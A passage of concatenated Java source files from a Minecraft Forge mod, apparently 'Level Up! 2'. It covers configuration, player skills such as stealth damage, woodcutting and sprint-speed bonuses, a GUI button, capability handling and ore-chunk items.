cfg.get(Configuration.CATEGORY_GENERAL, "Always drop ore chunks", alwaysDropChunks, "Always drop ore chunks on ore harvest"),
cfg.get(Configuration.CATEGORY_GENERAL, "Break ores into chunks", useOreChunks, "Use ore chunks for ore doubling"),
cfg.get(Configuration.CATEGORY_GENERAL, "Duplicate any ore", dupeAllOres, "All ores can be doubled, even if they don't have a chunk."),
cfg.get(Configuration.CATEGORY_GENERAL, "Reclass level cost", reclassCost, "How many levels it will cost to change classes.", 0, 100)
};
cropBlacklist = Arrays.asList(cfg.getStringList("Crops for farming", "Blacklist", new String[] {""}, "Crops that won't be affected by farming growth skill, uses internal block name. No sync to client required."));
oreList = Arrays.asList(cfg.get(Configuration.CATEGORY_GENERAL, "Surface Ores to double", ores, "Ores that double from mining efficiency").getStringList());
oreColors = getColorsFromProperty(cfg.get(Configuration.CATEGORY_GENERAL, "Surface Ore colors", colors, "Colors for the surface ore item"));
netherOreList = Arrays.asList(cfg.get(Configuration.CATEGORY_GENERAL, "Nether Ores to double", netherOres, "Nether ores that double from mining efficiency").getStringList());
netherOreColors = getColorsFromProperty(cfg.get(Configuration.CATEGORY_GENERAL, "Nether Ore colors", netherColors, "Colors for the nether ore item"));
endOreList = Arrays.asList(cfg.get(Configuration.CATEGORY_GENERAL, "End Ores to double", endOres, "End ores that double from mining efficiency").getStringList());
endOreColors = getColorsFromProperty(cfg.get(Configuration.CATEGORY_GENERAL, "End Ore colors", endColors, "Colors for the end ore item"));
resetJson = cfg.get("debug", "Reset json files", resetJsonFiles, "Forces Level Up! to restore external json files to default");
resetJsonFiles = resetJson.getBoolean();
rareChance = cfg.getInt("Rare Digging Loot Chance", "digloot", rareChance, 0, 100, "Chances that a rare loot drop will appear");
uncommonChance = cfg.getInt("Uncommon Digging Loot Chance", "digloot", uncommonChance, 0, 100, "Chances that an uncommon loot drop will appear");
commonChance = cfg.getInt("Common Digging Loot Chance", "digloot", commonChance, 0, 100, "Chances that a common loot drop will appear");
combinedChance = rareChance + uncommonChance + commonChance;
if (cfg.hasChanged())
cfg.save();
useServerProperties();
transferLootTables();
if (resetJsonFiles) {
resetJson.set(false);
cfg.save();
}
}
public static Property[] getServerProperties() {
return serverProperties;
}
public static void useServerProperties() {
resetClassOnDeath = serverProperties[0].getBoolean();
furnaceEjection = serverProperties[1].getBoolean();
damageScaling = serverProperties[2].getBoolean();
alwaysDropChunks = serverProperties[3].getBoolean();
useOreChunks = serverProperties[4].getBoolean();
dupeAllOres = serverProperties[5].getBoolean();
reclassCost = serverProperties[6].getInt();
}
private static List<Integer> getColorsFromProperty(Property prop) {
int[] colors = prop.getIntList();
List<Integer> list = new ArrayList<>();
for (int i = 0; i < colors.length; i++)
list.add(colors[i]);
return list;
}
private static void transferLootTables() {
Set<String> files = new HashSet<>();
files.add("fishing/fishing_loot");
files.add("digging/common_dig");
files.add("digging/uncommon_dig");
files.add("digging/rare_dig");
JsonTransfer.findResources(files).stream().forEach(r -> JsonTransfer.copyResource(r, configDir.resolve(r), resetJsonFiles));
Library.registerLootTableLocations(files);
}
}
<file_sep>/src/main/java/levelup2/skills/combat/StealthDamage.java
package levelup2.skills.combat;
import levelup2.skills.BaseSkill;
import levelup2.skills.SkillRegistry;
import levelup2.util.Library;
import net.minecraft.entity.player.EntityPlayer;
import net.minecraft.init.Items;
import net.minecraft.item.ItemStack;
import net.minecraft.util.DamageSource;
import net.minecraft.util.EntityDamageSourceIndirect;
import net.minecraft.util.text.TextComponentTranslation;
import net.minecraftforge.event.entity.living.LivingHurtEvent;
import net.minecraftforge.fml.common.eventhandler.SubscribeEvent;
public class StealthDamage extends BaseSkill {
@Override
public String getSkillName() {
return "levelup:stealthdamage";
}
@Override
public byte getSkillType() {
return 2;
}
@Override
public int getSkillColumn() {
return 3;
}
@Override
public int getSkillRow() {
return 1;
}
@Override
public String[] getPrerequisites() {
return new String[] {"levelup:stealth"};
}
@Override
public int getMaxLevel() {
return 5;
}
@Override
public int getLevelCost(int currentLevel) {
if (currentLevel >= 0 && currentLevel < getMaxLevel())
return Library.fiveLevels[currentLevel];
return -1;
}
@Override
public ItemStack getRepresentativeStack() {
return new ItemStack(Items.POISONOUS_POTATO);
}
@Override
public boolean hasSubscription() {
return true;
}
@SubscribeEvent
public void onDamage(LivingHurtEvent evt) {
DamageSource src = evt.getSource();
float dmg = evt.getAmount();
if (src.getEntity() instanceof EntityPlayer) {
EntityPlayer player = (EntityPlayer)src.getEntity();
int level = SkillRegistry.getSkillLevel(player, getSkillName());
if (level > 0) {
if (src instanceof EntityDamageSourceIndirect) {
if (StealthLib.getDistanceFrom(evt.getEntityLiving(), player) < 256F && player.isSneaking() && !StealthLib.canSeePlayer(evt.getEntityLiving()) && !StealthLib.entityIsFacing(evt.getEntityLiving(), player)) {
dmg *= 1.0F + (0.15F * level);
player.sendStatusMessage(new TextComponentTranslation("sneak.attack", 1.0 + (0.15 * level)), true);
}
} else {
if (player.isSneaking() && !StealthLib.canSeePlayer(evt.getEntityLiving()) && !StealthLib.entityIsFacing(evt.getEntityLiving(), player)) {
dmg *= 1.0F + (0.3F * level);
player.sendStatusMessage(new TextComponentTranslation("sneak.attack", 1.0 + (0.3 * level)), true);
}
}
}
}
evt.setAmount(dmg);
}
}
<file_sep>/src/main/java/levelup2/gui/GuiImage.java
package levelup2.gui;
import net.minecraft.client.Minecraft;
import net.minecraft.client.gui.GuiButton;
import net.minecraft.client.renderer.GlStateManager;
import net.minecraft.client.resources.I18n;
import net.minecraft.init.Blocks;
import net.minecraft.init.Items;
import net.minecraft.item.ItemStack;
import net.minecraft.util.ResourceLocation;
import net.minecraftforge.fml.relauncher.Side;
import net.minecraftforge.fml.relauncher.SideOnly;
@SideOnly(Side.CLIENT)
public class GuiImage extends GuiButton {
private static ResourceLocation BUTTON_IMAGE;
private ItemStack repStack;
private String type;
public GuiImage(int buttonID, int x, int y, int width, int height, String type) {
super(buttonID, x, y, width, height, "");
BUTTON_IMAGE = new ResourceLocation("levelup2", "textures/gui/button.png");
this.type = type;
repStack = type.equals("mining") ? new ItemStack(Items.DIAMOND_PICKAXE) : type.equals("craft") ? new ItemStack(Blocks.CRAFTING_TABLE) : new ItemStack(Items.DIAMOND_SWORD);
}
@Override
protected int getHoverState(boolean mouseOver) {
int i = 1;
if (!this.enabled)
i = 0;
else if (mouseOver)
i = 2;
return i;
}
@Override
public void drawButton(Minecraft mc, int mouseX, int mouseY) {
if (this.visible) {
mc.getTextureManager().bindTexture(BUTTON_IMAGE);
this.hovered = mouseX >= this.xPosition && mouseY >= this.yPosition && mouseX < this.xPosition + this.width && mouseY < this.yPosition + this.height;
int i = this.getHoverState(this.hovered);
GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
GlStateManager.enableBlend();
GlStateManager.tryBlendFuncSeparate(GlStateManager.SourceFactor.SRC_ALPHA, GlStateManager.DestFactor.ONE_MINUS_SRC_ALPHA, GlStateManager.SourceFactor.ONE, GlStateManager.DestFactor.ZERO);
GlStateManager.blendFunc(GlStateManager.SourceFactor.SRC_ALPHA, GlStateManager.DestFactor.ONE_MINUS_SRC_ALPHA);
if (i > 0)
this.drawTexturedModalRect(this.xPosition, this.yPosition, (i - 1) * this.width, 0, this.width, this.height);
else
this.drawTexturedModalRect(this.xPosition, this.yPosition, this.width * 2, 0, this.width, this.height);
mc.getRenderItem().renderItemIntoGUI(repStack, this.xPosition + (this.width / 2) - 8, this.yPosition + (this.height / 2) - 8);
String locName = I18n.format("skill.levelup:" + type + "_bonus.short");
this.drawCenteredString(mc.fontRendererObj, locName, this.xPosition + this.width / 2, this.yPosition + 20, this.hovered ? 0xFBFD6F : 0xF9F9F9);
this.drawCenteredString(mc.fontRendererObj, I18n.format("skill.levelup:" + type + ".desc"), this.xPosition + this.width / 2, this.yPosition + this.height - 20, this.hovered ? 0xFBFD6F : 0xF9F9F9);
this.mouseDragged(mc, mouseX, mouseY);
}
}
}
<file_sep>/src/main/java/levelup2/skills/mining/FlintLootBonus.java
package levelup2.skills.mining;
import levelup2.skills.BaseSkill;
import levelup2.skills.SkillRegistry;
import levelup2.util.Library;
import net.minecraft.block.BlockGravel;
import net.minecraft.block.state.IBlockState;
import net.minecraft.init.Blocks;
import net.minecraft.init.Items;
import net.minecraft.item.ItemStack;
import net.minecraftforge.event.world.BlockEvent;
import net.minecraftforge.fml.common.eventhandler.SubscribeEvent;
import java.util.Random;
public class FlintLootBonus extends BaseSkill {
@Override
public String getSkillName() {
return "levelup:flintloot";
}
@Override
public int getSkillColumn() {
return 4;
}
@Override
public int getSkillRow() {
return 0;
}
@Override
public boolean hasSubscription() {
return true;
}
@Override
public int getLevelCost(int currentLevel) {
if (currentLevel >= 0 && currentLevel < getMaxLevel())
return Library.tenLevels[currentLevel];
return -1;
}
@Override
public byte getSkillType() {
return 0;
}
@Override
public String[] getPrerequisites() {
return new String[0];
}
@Override
public int getMaxLevel() {
return 10;
}
@Override
public ItemStack getRepresentativeStack() {
return new ItemStack(Blocks.GRAVEL);
}
@SubscribeEvent
public void gravelLooting(BlockEvent.HarvestDropsEvent evt) {
if (evt.getHarvester() != null && !evt.getWorld().isRemote) {
IBlockState state = evt.getState();
Random rand = evt.getHarvester().getRNG();
int skill = SkillRegistry.getSkillLevel(evt.getHarvester(), getSkillName());
if (!evt.isSilkTouching() && skill > 0) {
if (state.getBlock() instanceof BlockGravel) {
if (rand.nextInt(10) < skill) {
Library.removeFromList(evt.getDrops(), new ItemStack(state.getBlock()));
evt.getDrops().add(new ItemStack(Items.FLINT));
}
}
}
}
}
}
<file_sep>/src/main/java/levelup2/event/CapabilityEventHandler.java
package levelup2.event;
import levelup2.capability.PlayerCapability;
import levelup2.config.LevelUpConfig;
import levelup2.network.SkillPacketHandler;
import levelup2.player.IPlayerClass;
import levelup2.skills.SkillRegistry;
import levelup2.util.Library;
import net.minecraft.entity.Entity;
import net.minecraft.entity.player.EntityPlayer;
import net.minecraft.entity.player.EntityPlayerMP;
import net.minecraft.nbt.NBTTagCompound;
import net.minecraft.util.EnumFacing;
import net.minecraftforge.common.capabilities.Capability;
import net.minecraftforge.common.capabilities.ICapabilitySerializable;
import net.minecraftforge.event.AttachCapabilitiesEvent;
import net.minecraftforge.event.entity.player.PlayerEvent;
import net.minecraftforge.fml.common.gameevent.PlayerEvent.PlayerRespawnEvent;
import net.minecraftforge.fml.common.gameevent.PlayerEvent.PlayerChangedDimensionEvent;
import net.minecraftforge.fml.common.gameevent.PlayerEvent.PlayerLoggedInEvent;
import net.minecraftforge.fml.common.eventhandler.SubscribeEvent;
public class CapabilityEventHandler {
@SubscribeEvent
public void onPlayerEntersWorld(AttachCapabilitiesEvent<Entity> evt) {
if (evt.getObject() instanceof EntityPlayer) {
evt.addCapability(Library.SKILL_LOCATION, new ICapabilitySerializable<NBTTagCompound>() {
IPlayerClass instance = PlayerCapability.PLAYER_CLASS.getDefaultInstance();
@Override
public boolean hasCapability(Capability<?> capability, EnumFacing facing) {
return capability == PlayerCapability.PLAYER_CLASS;
}
@Override
public <T> T getCapability(Capability<T> capability, EnumFacing facing) {
return capability == PlayerCapability.PLAYER_CLASS ? PlayerCapability.PLAYER_CLASS.<T>cast(instance) : null;
}
@Override
public NBTTagCompound serializeNBT() {
return ((NBTTagCompound)PlayerCapability.PLAYER_CLASS.getStorage().writeNBT(PlayerCapability.PLAYER_CLASS, instance, null));
}
@Override
public void deserializeNBT(NBTTagCompound tag) {
PlayerCapability.PLAYER_CLASS.getStorage().readNBT(PlayerCapability.PLAYER_CLASS, instance, null, tag);
}
});
}
}
@SubscribeEvent
public void onPlayerClone(PlayerEvent.Clone evt) {
if (!evt.isWasDeath() || !LevelUpConfig.resetClassOnDeath) {
NBTTagCompound data = new NBTTagCompound();
SkillRegistry.getPlayer(evt.getOriginal()).saveNBTData(data);
SkillRegistry.getPlayer(evt.getEntityPlayer()).loadNBTData(data);
}
}
@SubscribeEvent
public void onPlayerRespawn(PlayerRespawnEvent evt) {
SkillRegistry.loadPlayer(evt.player);
}
@SubscribeEvent
public void onPlayerChangedDimension(PlayerChangedDimensionEvent evt) {
SkillRegistry.loadPlayer(evt.player);
}
@SubscribeEvent
public void onPlayerLogin(PlayerLoggedInEvent evt) {
if (evt.player instanceof EntityPlayerMP) {
SkillRegistry.loadPlayer(evt.player);
SkillPacketHandler.configChannel.sendTo(SkillPacketHandler.getConfigPacket(LevelUpConfig.getServerProperties()), (EntityPlayerMP)evt.player);
}
}
}
<file_sep>/src/main/java/levelup2/util/Library.java
package levelup2.util;
import com.google.common.collect.Sets;
import net.minecraft.block.Block;
import net.minecraft.entity.player.EntityPlayer;
import net.minecraft.item.Item;
import net.minecraft.item.ItemBlock;
import net.minecraft.item.ItemStack;
import net.minecraft.util.ResourceLocation;
import net.minecraft.world.storage.loot.functions.LootFunctionManager;
import net.minecraftforge.common.UsernameCache;
import net.minecraftforge.fml.common.FMLCommonHandler;
import net.minecraftforge.fml.relauncher.Side;
import net.minecraftforge.oredict.OreDictionary;
import java.util.*;
public class Library {
public static int[] tenLevels = {5, 7, 11, 13, 17, 23, 29, 31, 37, 41};
public static int[] fiveLevels = {11, 17, 29, 37, 41};
public static int[] highTenLevels = {11, 17, 23, 29, 37, 41, 43, 47, 51, 53};
public static final UUID speedID = UUID.fromString("4f7637c8-6106-4050-96cb-e47f83bfa415");
public static final UUID sneakID = UUID.fromString("a4dc0b04-f78a-43f6-8805-5ebfbab10b18");
public static final ResourceLocation SKILL_LOCATION = new ResourceLocation("levelup", "skills");
private static Set<Block> ores = Sets.newIdentityHashSet();
private static Map<String, ItemStack> oreToChunk = new HashMap<>();
private static List<String> oreNames = new ArrayList<>();
private static Set<ResourceLocation> LOOT_TABLES = Sets.newHashSet();
private static LevelUpLootManager LEVELUP_MANAGER;
public static EntityPlayer getPlayerFromUsername(String username) {
if (FMLCommonHandler.instance().getEffectiveSide() == Side.CLIENT)
return null;
return FMLCommonHandler.instance().getMinecraftServerInstance().getPlayerList().getPlayerByUsername(username);
}
public static EntityPlayer getPlayerFromUUID(UUID uuid) {
return getPlayerFromUsername(getUsernameFromUUID(uuid));
}
public static String getUsernameFromUUID(UUID uuid) {
return UsernameCache.getLastKnownUsername(uuid);
}
public static void addToOreList(List<String> ores) {
oreNames.addAll(ores);
}
public static Set<Block> getOreList() {
return ores;
}
public static ItemStack getChunkFromName(String oreName) {
if (oreToChunk.containsKey(oreName))
return oreToChunk.get(oreName).copy();
return ItemStack.EMPTY;
}
public static void registerOres(List<String> oreNames) {
for (String ore : oreNames) {
if (OreDictionary.doesOreNameExist(ore)) {
if (!OreDictionary.getOres(ore).isEmpty()) {
for (ItemStack stack : OreDictionary.getOres(ore)) {
if (stack.getItem() instanceof ItemBlock) {
Block block = ((ItemBlock)stack.getItem()).getBlock();
if (!ores.contains(block))
ores.add(block);
}
}
}
}
}
}
public static String getOreNameForBlock(ItemStack blockStack) {
for (String ore : oreNames) {
List<ItemStack> ores = OreDictionary.getOres(ore);
for (ItemStack stack : ores) {
if (ItemStack.areItemsEqual(stack, blockStack) || ItemStack.areItemsEqual(new ItemStack(blockStack.getItem(), 1, OreDictionary.WILDCARD_VALUE), stack)) {
return ore;
}
}
}
return null;
}
public static boolean isOre(ItemStack blockStack) {
for (String oreName : OreDictionary.getOreNames()) {
if (oreName.startsWith("ore")) {
if (OreDictionary.containsMatch(false, OreDictionary.getOres(oreName), blockStack))
return true;
}
}
return false;
}
public static void registerOreToChunk(List<String> ores, Item item) {
for (int i = 0; i < ores.size(); i++) {
oreToChunk.put(ores.get(i), new ItemStack(item, 2, i));
}
}
public static void removeFromList(List<ItemStack> drops, ItemStack toRemove) {
Iterator<ItemStack> itr = drops.iterator();
while (itr.hasNext()) {
ItemStack drop = itr.next();
if (!drop.isEmpty() && ItemStack.areItemsEqual(toRemove, drop)) {
itr.remove();
}
}
}
public static void registerLootManager() {
LootFunctionManager.registerFunction(new FortuneEnchantBonus.Serializer());
LEVELUP_MANAGER = new LevelUpLootManager();
}
public static LevelUpLootManager getLootManager() {
return LEVELUP_MANAGER;
}
public static Set<ResourceLocation> getLootTables() {
return LOOT_TABLES;
}
public static void registerLootTableLocations(Set<String> files) {
files.stream().forEach(s -> LOOT_TABLES.add(new ResourceLocation("levelup", s)));
}
}
<file_sep>/src/main/java/levelup2/proxy/ClientProxy.java
package levelup2.proxy;
import levelup2.config.LevelUpConfig;
import levelup2.event.KeybindEventHandler;
import levelup2.gui.GuiSpecialization;
import levelup2.skills.SkillRegistry;
import net.minecraft.client.Minecraft;
import net.minecraft.client.renderer.block.model.ModelResourceLocation;
import net.minecraft.client.renderer.color.IItemColor;
import net.minecraft.client.renderer.color.ItemColors;
import net.minecraft.entity.player.EntityPlayer;
import net.minecraft.item.Item;
import net.minecraftforge.client.model.ModelLoader;
import net.minecraftforge.common.MinecraftForge;
import net.minecraftforge.fml.client.FMLClientHandler;
public class ClientProxy extends CommonProxy {
@Override
public void registerGui() {
MinecraftForge.EVENT_BUS.register(KeybindEventHandler.INSTANCE);
}
@Override
public EntityPlayer getPlayer() {
return FMLClientHandler.instance().getClient().player;
}
@Override
public void openSpecializationGui() {
Minecraft.getMinecraft().displayGuiScreen(GuiSpecialization.withRespec());
}
@Override
public void registerItemMeshes() {
setModelLocation(SkillRegistry.surfaceOreChunk, "inventory");
setModelLocation(SkillRegistry.netherOreChunk, "inventory");
setModelLocation(SkillRegistry.endOreChunk, "inventory");
setModelLocation(SkillRegistry.respecBook, "inventory");
}
private void setModelLocation(Item item, String variantSettings) {
ModelLoader.setCustomMeshDefinition(item, stack -> new ModelResourceLocation(item.getRegistryName().toString(), variantSettings));
}
@Override
public void registerColors() {
final ItemColors color = Minecraft.getMinecraft().getItemColors();
color.registerItemColorHandler((stack, tintIndex) -> tintIndex == 1 && stack.getMetadata() < LevelUpConfig.oreColors.size() ? LevelUpConfig.oreColors.get(stack.getMetadata()) : -1, SkillRegistry.surfaceOreChunk);
color.registerItemColorHandler((stack, tintIndex) -> tintIndex == 1 && stack.getMetadata() < LevelUpConfig.netherOreColors.size() ? LevelUpConfig.netherOreColors.get(stack.getMetadata()) : -1, SkillRegistry.netherOreChunk);
color.registerItemColorHandler((stack, tintIndex) -> tintIndex == 1 && stack.getMetadata() < LevelUpConfig.endOreColors.size() ? LevelUpConfig.endOreColors.get(stack.getMetadata()) : -1, SkillRegistry.endOreChunk);
}
}
<file_sep>/src/main/java/levelup2/skills/mining/WoodcuttingBonus.java
package levelup2.skills.mining;
import levelup2.skills.BaseSkill;
import levelup2.skills.SkillRegistry;
import levelup2.util.Library;
import levelup2.util.PlankCache;
import net.minecraft.block.state.IBlockState;
import net.minecraft.init.Blocks;
import net.minecraft.init.Items;
import net.minecraft.item.ItemStack;
import net.minecraftforge.event.world.BlockEvent;
import net.minecraftforge.fml.common.eventhandler.SubscribeEvent;
import java.util.Random;
public class WoodcuttingBonus extends BaseSkill {
@Override
public String getSkillName() {
return "levelup:lumbering";
}
@Override
public int getSkillRow() {
return 1;
}
@Override
public int getSkillColumn() {
return 2;
}
@Override
public boolean hasSubscription() {
return true;
}
@Override
public int getLevelCost(int currentLevel) {
if (currentLevel >= 0 && currentLevel < getMaxLevel())
return Library.fiveLevels[currentLevel];
return -1;
}
@Override
public byte getSkillType() {
return 0;
}
@Override
public String[] getPrerequisites() {
return new String[] {"levelup:woodcutting"};
}
@Override
public int getMaxLevel() {
return 5;
}
@Override
public ItemStack getRepresentativeStack() {
return new ItemStack(Blocks.LOG);
}
@SubscribeEvent
public void onHarvest(BlockEvent.HarvestDropsEvent evt) {
if (evt.getHarvester() != null && !evt.getWorld().isRemote) {
int skill = SkillRegistry.getSkillLevel(evt.getHarvester(), getSkillName());
IBlockState state = evt.getState();
Random rand = evt.getHarvester().getRNG();
if (skill > 0) {
if (PlankCache.contains(state.getBlock(), state.getBlock().damageDropped(state))) {
if (rand.nextDouble() <= skill / 30D) {
ItemStack planks = PlankCache.getProduct(state.getBlock(), state.getBlock().damageDropped(state));
if (!planks.isEmpty())
evt.getDrops().add(planks.copy());
}
if (rand.nextDouble() <= skill / 30D) {
evt.getDrops().add(new ItemStack(Items.STICK, 2));
}
}
}
}
}
}
<file_sep>/src/main/java/levelup2/skills/crafting/FoodHarvestBonus.java
package levelup2.skills.crafting;
import levelup2.skills.BaseSkill;
import levelup2.skills.SkillRegistry;
import levelup2.util.Library;
import net.minecraft.block.BlockCrops;
import net.minecraft.block.BlockMelon;
import net.minecraft.block.BlockStem;
import net.minecraft.block.IGrowable;
import net.minecraft.entity.item.EntityItem;
import net.minecraft.init.Blocks;
import net.minecraft.init.Items;
import net.minecraft.item.Item;
import net.minecraft.item.ItemStack;
import net.minecraftforge.event.world.BlockEvent;
import net.minecraftforge.fml.common.eventhandler.EventPriority;
import net.minecraftforge.fml.common.eventhandler.SubscribeEvent;
import java.util.Random;
public class FoodHarvestBonus extends BaseSkill {
@Override
public String getSkillName() {
return "levelup:harvestbonus";
}
@Override
public int getSkillRow() {
return 1;
}
@Override
public int getSkillColumn() {
return 2;
}
@Override
public byte getSkillType() {
return 1;
}
@Override
public int getLevelCost(int currentLevel) {
if (currentLevel >= 0 && currentLevel < getMaxLevel())
return Library.tenLevels[currentLevel];
return -1;
}
@Override
public int getMaxLevel() {
return 10;
}
@Override
public String[] getPrerequisites() {
return new String[] {"levelup:cropgrowth"};
}
@Override
public ItemStack getRepresentativeStack() {
return new ItemStack(Items.WHEAT);
}
@Override
public boolean hasSubscription() {
return true;
}
@SubscribeEvent(priority = EventPriority.LOWEST)
public void onBlockBroken(BlockEvent.BreakEvent evt) {
if (!evt.getWorld().isRemote && evt.getPlayer() != null) {
if (evt.getState().getBlock() instanceof BlockCrops || evt.getState().getBlock() instanceof BlockStem) {
if (!((IGrowable)evt.getState().getBlock()).canGrow(evt.getWorld(), evt.getPos(), evt.getState(), false)) {
doCropDrops(evt);
}
}
else if (evt.getState().getBlock() instanceof BlockMelon) {
doCropDrops(evt);
}
}
}
private void doCropDrops(BlockEvent.BreakEvent evt) {
Random rand = evt.getPlayer().getRNG();
int skill = SkillRegistry.getSkillLevel(evt.getPlayer(), getSkillName());
if (skill > 0) {
if (rand.nextInt(10) < skill) {
Item item = evt.getState().getBlock().getItemDropped(evt.getState(), rand, 0);
if (item == Items.AIR || item == null) {
if (evt.getState().getBlock() == Blocks.PUMPKIN_STEM)
item = Items.PUMPKIN_SEEDS;
else if (evt.getState().getBlock() == Blocks.MELON_STEM)
item = Items.MELON_SEEDS;
}
if (item != Items.AIR && item != null) {
evt.getWorld().spawnEntity(new EntityItem(evt.getWorld(), evt.getPos().getX(), evt.getPos().getY(), evt.getPos().getZ(), new ItemStack(item, Math.max(1, evt.getState().getBlock().quantityDropped(evt.getState(), 0, rand)), evt.getState().getBlock().damageDropped(evt.getState()))));
}
}
}
}
}
<file_sep>/src/main/java/levelup2/skills/combat/DrawSpeedBonus.java
package levelup2.skills.combat;
import levelup2.skills.BaseSkill;
import levelup2.skills.SkillRegistry;
import levelup2.util.Library;
import net.minecraft.entity.player.EntityPlayer;
import net.minecraft.init.Items;
import net.minecraft.item.ItemStack;
import net.minecraft.util.ActionResult;
import net.minecraft.util.EnumActionResult;
import net.minecraftforge.event.entity.player.ArrowNockEvent;
import net.minecraftforge.fml.common.eventhandler.EventPriority;
import net.minecraftforge.fml.common.eventhandler.SubscribeEvent;
public class DrawSpeedBonus extends BaseSkill {
@Override
public String getSkillName() {
return "levelup:bowdraw";
}
@Override
public int getLevelCost(int currentLevel) {
if (currentLevel >= 0 && currentLevel < getMaxLevel())
return Library.tenLevels[currentLevel];
return -1;
}
@Override
public ItemStack getRepresentativeStack() {
return new ItemStack(Items.BOW);
}
@Override
public int getSkillRow() {
return 0;
}
@Override
public int getSkillColumn() {
return 2;
}
@Override
public byte getSkillType() {
return 2;
}
@Override
public String[] getPrerequisites() {
return new String[0];
}
@Override
public boolean hasSubscription() {
return true;
}
@Override
public int getMaxLevel() {
return 10;
}
@SubscribeEvent(priority = EventPriority.LOW)
public void onBowUse(ArrowNockEvent evt) {
int archery = SkillRegistry.getSkillLevel(evt.getEntityPlayer(), getSkillName());
if (archery > 0) {
evt.getEntityPlayer().setActiveHand(evt.getHand());
setItemUseCount(evt.getEntityPlayer(), archery);
evt.setAction(new ActionResult<>(EnumActionResult.SUCCESS, evt.getBow()));
}
}
private void setItemUseCount(EntityPlayer player, int archery) {
player.activeItemStackUseCount -= archery;
}
}
<file_sep>/src/main/java/levelup2/api/IPlayerSkill.java
package levelup2.api;
import net.minecraft.item.ItemStack;
public interface IPlayerSkill {
boolean hasSubscription();
String getSkillName();
int getLevelCost(int currentLevel);
/**
*0: Mining; 1: Crafting; 2: Combat
*/
byte getSkillType();
String[] getPrerequisites();
int getSkillColumn();
int getSkillRow();
/**
* The ItemStack that renders in the GUI
* @return A stack with the skill level.
*/
ItemStack getRepresentativeStack();
boolean isMaxLevel(int level);
int getMaxLevel();
}
<file_sep>/src/main/java/levelup2/player/IPlayerClass.java
package levelup2.player;
import levelup2.api.IPlayerSkill;
import net.minecraft.nbt.NBTTagCompound;
import java.util.List;
import java.util.Map;
public interface IPlayerClass {
NBTTagCompound saveNBTData(NBTTagCompound tag);
void loadNBTData(NBTTagCompound tag);
IPlayerSkill getSkillFromName(String skill);
int getSkillLevel(String name);
void setSkillLevel(String name, int level);
void setPlayerData(String[] skills, int[] data);
void addToSkill(String name, int value);
boolean hasClass();
byte getSpecialization();
void setSpecialization(byte spec);
Map<String, Integer> getSkills();
}
<file_sep>/src/main/java/levelup2/items/ItemOreChunk.java
package levelup2.items;
import levelup2.skills.SkillRegistry;
import net.minecraft.util.text.translation.I18n;
import net.minecraft.creativetab.CreativeTabs;
import net.minecraft.item.Item;
import net.minecraft.item.ItemStack;
import net.minecraft.util.NonNullList;
import net.minecraftforge.fml.relauncher.Side;
import net.minecraftforge.fml.relauncher.SideOnly;
import java.util.List;
public class ItemOreChunk extends Item {
private List<String> oreTypes;
public ItemOreChunk(List<String> oreTypes) {
super();
setHasSubtypes(true);
setCreativeTab(CreativeTabs.MATERIALS);
this.oreTypes = oreTypes;
}
@Override
@SideOnly(Side.CLIENT)
public void getSubItems(Item item, CreativeTabs tab, NonNullList<ItemStack> list) {
if (!oreTypes.get(0).equals("null")) {
for (int i = 0; i < oreTypes.size(); i++)
list.add(new ItemStack(item, 1, i));
}
}
@Override
public String getItemStackDisplayName(ItemStack stack) {
if (!oreTypes.get(0).equals("null")) {
return I18n.translateToLocalFormatted("item.levelup:orechunk.name", getOreName(stack));
}
return I18n.translateToLocalFormatted("item.levelup:orechunk_null.name");
}
private String getOreName(ItemStack stack) {
int meta = stack.getMetadata();
if (meta < oreTypes.size()) {
ItemStack check = SkillRegistry.getOreEntry(oreTypes.get(meta));
if (!check.isEmpty()) {
return I18n.translateToLocalFormatted(check.getUnlocalizedName() + ".name");
}
}
return "Ore";
}
}
<file_sep>/src/main/java/levelup2/skills/mining/SprintSpeedBonus.java
package levelup2.skills.mining;
import levelup2.skills.BaseSkill;
import levelup2.skills.SkillRegistry;
import levelup2.util.Library;
import net.minecraft.entity.SharedMonsterAttributes;
import net.minecraft.entity.ai.attributes.AttributeModifier;
import net.minecraft.entity.ai.attributes.IAttributeInstance;
import net.minecraft.init.Items;
import net.minecraft.item.ItemStack;
import net.minecraftforge.fml.common.eventhandler.SubscribeEvent;
import net.minecraftforge.fml.common.gameevent.TickEvent;
public class SprintSpeedBonus extends BaseSkill {
@Override
public String getSkillName() {
return "levelup:sprintspeed";
}
@Override
public int getSkillRow() {
return 0;
}
@Override
public int getSkillColumn() {
return 3;
}
@Override
public boolean hasSubscription() {
return true;
}
@Override
public int getLevelCost(int currentLevel) {
if (currentLevel >= 0 && currentLevel < getMaxLevel())
return Library.tenLevels[currentLevel];
return -1;
}
@Override
public byte getSkillType() {
return 0;
}
@Override
public String[] getPrerequisites() {
return new String[0];
}
@Override
public int getMaxLevel() {
return 10;
}
@Override
public ItemStack getRepresentativeStack() {
return new ItemStack(Items.RABBIT_FOOT);
}
@SubscribeEvent
public void onPlayerSprint(TickEvent.PlayerTickEvent evt) {
if (evt.phase == TickEvent.Phase.START) {
int skill = SkillRegistry.getSkillLevel(evt.player, getSkillName());
if (skill > 0) {
IAttributeInstance attrib = evt.player.getEntityAttribute(SharedMonsterAttributes.MOVEMENT_SPEED);
AttributeModifier mod = new AttributeModifier(Library.speedID, "SprintingSkillSpeed", skill / 20F, 2);
if (evt.player.isSprinting()) {
if (attrib.getModifier(Library.speedID) == null)
attrib.applyModifier(mod);
}
else if (attrib.getModifier(Library.speedID) != null)
attrib.removeModifier(mod);
}
}
}
}
<file_sep>/src/main/java/levelup2/skills/mining/XPBonusMining.java
package levelup2.skills.mining;
import levelup2.skills.BaseSkill;
import levelup2.skills.SkillRegistry;
import net.minecraft.block.state.IBlockState;
import net.minecraft.init.Items;
import net.minecraft.item.ItemStack;
import net.minecraftforge.event.world.BlockEvent;
import net.minecraftforge.fml.common.eventhandler.SubscribeEvent;
public class XPBonusMining extends BaseSkill {
@Override
public boolean hasSubscription() {
return true;
}
@Override
public String getSkillName() {
return "levelup:mining_bonus";
}
@Override
public int getLevelCost(int currentLevel) {
return -1;
}
@Override
public byte getSkillType() {
return 0;
}
@Override
public String[] getPrerequisites() {
return new String[0];
}
@SubscribeEvent
public void giveMiningXP(BlockEvent.HarvestDropsEvent evt) {
if (evt.getHarvester() != null && !evt.getWorld().isRemote) {
if (SkillRegistry.getSkillLevel(evt.getHarvester(), getSkillName()) > 0) {
IBlockState state = evt.getState();
ItemStack stack = new ItemStack(state.getBlock(), 1, state.getBlock().getMetaFromState(state));
